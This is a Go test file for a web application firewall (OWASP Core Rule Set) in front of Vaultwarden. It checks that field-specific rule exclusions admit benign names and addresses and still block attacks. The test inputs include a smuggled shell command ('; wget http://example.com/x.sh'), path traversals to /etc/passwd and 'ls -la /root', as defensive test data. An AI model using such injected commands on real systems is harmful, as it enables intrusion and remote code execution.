package coreruleset_test import ( "encoding/json" "net/http" "net/url" "slices" "strings" "testing" ) // vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. const vaultwardenThreshold = 5 // Paths of Vaultwarden's API and admin page. const ( vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b" vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d" vaultwardenSignUp = "/identity/accounts/register/send-verification-email" vaultwardenFinishSignUp = "/identity/accounts/register/finish" vaultwardenPassword = "/api/accounts/password" vaultwardenProfile = "/api/accounts/profile" vaultwardenSettings = "/admin/config" vaultwardenSecurityKey = "/api/two-factor/webauthn" ) // vaultwardenEmail is a JSON body that sends an address in email. const vaultwardenEmail = `{"email":"VALUE"}` func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { t.Parallel() wantRecordedRequestsPass(t, "vaultwarden-requests.txt") } // vaultwardenField is a field Vaultwarden receives in plain text: the // request that sends it, and its body, with VALUE where the field's value // goes. type vaultwardenField struct { method, target, contentType, body string } // with returns f's body holding value, escaped as f's kind of body escapes // it. func (f vaultwardenField) with(t *testing.T, value string) string { t.Helper() escaped := url.QueryEscape(value) if f.contentType == jsonBody { quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } escaped = strings.Trim(string(quoted), `"`) } return strings.ReplaceAll(f.body, "VALUE", escaped) } // vaultwardenNameFields hold every field that skips 930120, 932120, 932250 // and 932260: the names and the password hints. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenNameFields = []vaultwardenField{ { http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"alice@example.com","name":"VALUE"}`, }, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, }, {http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`}, {http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`}, { http.MethodPost, "/api/organizations", jsonBody, `{"name":"VALUE","billingEmail":"billing@example.com"}`, }, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, {http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`}, {http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`}, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`}, {http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`}, {http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`}, } // vaultwardenAddressFields hold every field of a body that skips 930120, // 932120 and 932260: the email addresses. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenAddressFields = []vaultwardenField{ { http.MethodPost, "/identity/connect/token", formData, "grant_type=password&username=VALUE&password=example&scope=api+offline_access", }, {http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail}, {http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`}, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"masterPasswordAuthentication":{"salt":"VALUE"}}`, }, { http.MethodPost, vaultwardenFinishSignUp, jsonBody, `{"masterPasswordUnlock":{"salt":"VALUE"}}`, }, { http.MethodPost, vaultwardenPassword, jsonBody, `{"authenticationData":{"salt":"VALUE"}}`, }, {http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`}, { http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, }, {http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail}, {http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`}, { http.MethodPost, "/api/emergency-access/invite", jsonBody, `{"email":"VALUE","type":0}`, }, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`}, { http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, `{"emails":["alice@example.com","VALUE"],"type":2}`, }, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`}, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`}, {http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`}, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, {http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail}, {http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail}, { http.MethodPut, "/api/two-factor/email", jsonBody, `{"email":"VALUE","token":"123456"}`, }, {http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`}, } // vaultwardenBreachReport is the data breach report, which sends an address // in the query, ending in "=". const vaultwardenBreachReport = "/api/hibp/breach?username=" // vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenAddresses = []string{ "jane.profile@example.com", "python3.dev@example.com", "powershell@example.com", } // wantVaultwardenField checks that the Core Rule Set, reading bodies, // refuses f holding value, or lets it through. func wantVaultwardenField( t *testing.T, f vaultwardenField, value string, refused bool, ) { t.Helper() r := request{f.method, f.target, []string{f.contentType}} body := f.with(t, value) got, _ := inspectBody(t, readingBodies(t), r, body) if refused && got.Score < vaultwardenThreshold { t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got) } if !refused && got.Score >= vaultwardenThreshold { t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got) } } func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) { t.Parallel() for _, encoded := range hardValues { value, _ := url.QueryUnescape(encoded) for _, f := range vaultwardenNameFields { wantVaultwardenField(t, f, value, false) } } for _, value := range vaultwardenAddresses { for _, f := range vaultwardenAddressFields { wantVaultwardenField(t, f, value, false) } target := vaultwardenBreachReport + url.QueryEscape(value) if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold { t.Errorf("%s refused: %+v", target, got) } } } // vaultwardenAttacks are an SQL injection, a script injection, a shell // command and a path traversal. // //nolint:gochecknoglobals // a constant cannot be a list var vaultwardenAttacks = []string{ injection, scriptTag, "; wget http://example.com/x.sh", "../../etc/passwd", } func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() for _, attack := range vaultwardenAttacks { for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) { wantVaultwardenField(t, f, attack, true) } target := vaultwardenBreachReport + url.QueryEscape(attack) if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold { t.Errorf("%s let through: %+v", target, got) } } // An address keeps 932250, which refuses a listing of files. for _, f := range vaultwardenAddressFields { wantVaultwardenField(t, f, "ls -la /root", true) } } func TestVaultwardenExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // A name keeps the rules on vault items and folders, whose names are // encrypted, on two-factor paths other than security keys', off // Vaultwarden's paths, and when the query has a field of the same name. for _, target := range []string{ "/api/ciphers", "/api/folders", "/x" + vaultwardenProfile, "/identity/other", "/api/two-factor/authenticator", vaultwardenProfile + "?json.name=python3", } { r := request{http.MethodPost, target, []string{jsonBody}} body := `{"name":"python3"}` if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold { t.Errorf("POST %s %s let through: %+v", target, body, got) } } for _, refused := range []struct{ target, body string }{ {"/admin/other", `{"invitation_org_name":"python3"}`}, {vaultwardenProfile, `{"culture":"python3"}`}, {"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`}, } { r := request{http.MethodPost, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < vaultwardenThreshold { t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got) } } r := request{http.MethodPost, "/identity/other", []string{formData}} got, _ := inspectBody(t, crs, r, "username=python3") if got.Score < vaultwardenThreshold { t.Errorf("POST %s username=python3 let through: %+v", r.target, got) } target := "/api/hibp/other?username=python3" if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold { t.Errorf("%s let through: %+v", target, got) } } // vaultwardenUpload returns a multipart body that uploads a file named name. func vaultwardenUpload(name string) string { return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name + "\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end } func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) { t.Parallel() crs := readingBodies(t) encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=") for _, target := range []string{ vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", vaultwardenCipher + "/attachment", vaultwardenCipher + "/attachment-admin", vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share", "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796", } { r := request{http.MethodPost, target, []string{multipart}} if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold { t.Errorf("POST %s refused: %+v", target, got) } // The names of uploaded files keep the other rules: a path // traversal and a PHP script are still refused. for _, name := range []string{"../../etc/passwd", "x.php"} { got, _ := inspectBody(t, crs, r, vaultwardenUpload(name)) if got.Score < vaultwardenThreshold { t.Errorf("POST %s %s let through: %+v", target, name, got) } } } for _, target := range []string{"/upload", vaultwardenCipher + "/other"} { r := request{http.MethodPost, target, []string{multipart}} if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold { t.Errorf("POST %s let through: %+v", target, got) } } }